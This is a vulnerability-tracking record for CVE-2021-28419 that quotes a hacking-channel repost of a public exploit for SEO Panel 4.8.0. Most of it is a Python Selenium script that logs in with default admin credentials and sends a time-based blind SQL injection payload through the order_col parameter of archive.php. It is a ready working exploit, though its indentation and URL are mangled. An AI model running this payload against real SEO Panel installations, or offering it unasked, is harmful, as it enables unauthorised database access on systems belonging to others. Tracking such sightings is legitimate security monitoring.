{"uuid": "189b8de7-1d55-4514-b469-d9b4b1e00130", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28419", "type": "seen", "source": "https://t.me/hacking_Attack/6551", "content": "Exploit Collector\nSEO Panel 4.8.0 SQL Injection\n\nhttps://4.bp.blogspot.com/-4tZE0Y76jWM/WWlvMNv2FRI/AAAAAAAAIMQ/Di9LOyWyOssTbh7urhFnaBV0oE1qNf8CgCLcBGAs/s1600/h19.png \nSEO Panel version 4.8.0 remote blind SQL injection exploit. Original discovery in this version is attributed to Piyush Patil in February of 2021.\n\nMD5 | 4b18d3433a071c4d3f98f08f8abcd113\n\nDownload\n# Exploit Title: blind SQL injection on archive.php of SEO Panel 4.8.0\n# Author: nu11secur1ty\n# Testing and Debugging: nu11secur1ty\n# Date: 04.25.2021\n# Vendor: https://www.seopanel.org/\n# Link: https://www.seopanel.org/spdownload/4.8.0\n# CVE: CVE-2021-28419\n\n[+] Exploit Source:\n\n#!/usr/bin/python3\n# Author: @nu11secur1ty\n# CVE-2021-28419\n\nfrom selenium import webdriver\nimport time\n#enter the link to the website you want to automate login.\nwebsite_link=\"http://192.168.1.3/seopanel/login.php\"\n\n#enter your login username\nusername=\"spadmin\"\n\n#enter your login password\npassword=\"spadmin\"\n\n#enter the element for username input field\nelement_for_username=\"userName\"\n\n#enter the element for password input field\nelement_for_password=\"password\"\n\n#enter the element for submit button\nelement_for_submit=\"login\"\nbrowser = webdriver.Chrome()\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_name(element_for_submit)\nsignInButton.click()\n\n# Exploit\nbrowser.get((\"\nhttp://192.168.1.3/seopanel/archive.php?from_time=2021-04-25&order_col=(SELECT\n7397 FROM\n(SELECT(SLEEP(15)))nu11secur1ty)&order_val=DESC&report_type=website-search-reports&search_name=&sec=viewWebsiteSearchSummary&to_time=2021-04-25&website_id=1\"))\n\nprint(\"payload is deployed MySQL is not responding correctly...\\n\")\n\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Some error occured :(\")\n\n---------------------------------\n\n# Exploit Title: blind SQL injection on archive.php of SEO Panel 4.8.0\n# Date: 04.25.2021\n# Exploit Authotr idea: @nu11secur1ty, xoffense\n# Exploit Debugging: nu11secur1ty\n# Vendor Homepage: https://www.seopanel.org/\n# Software Link: https://www.seopanel.org/spdownload/4.8.0\n\n# Steps to Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-28419\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:45.286277Z"}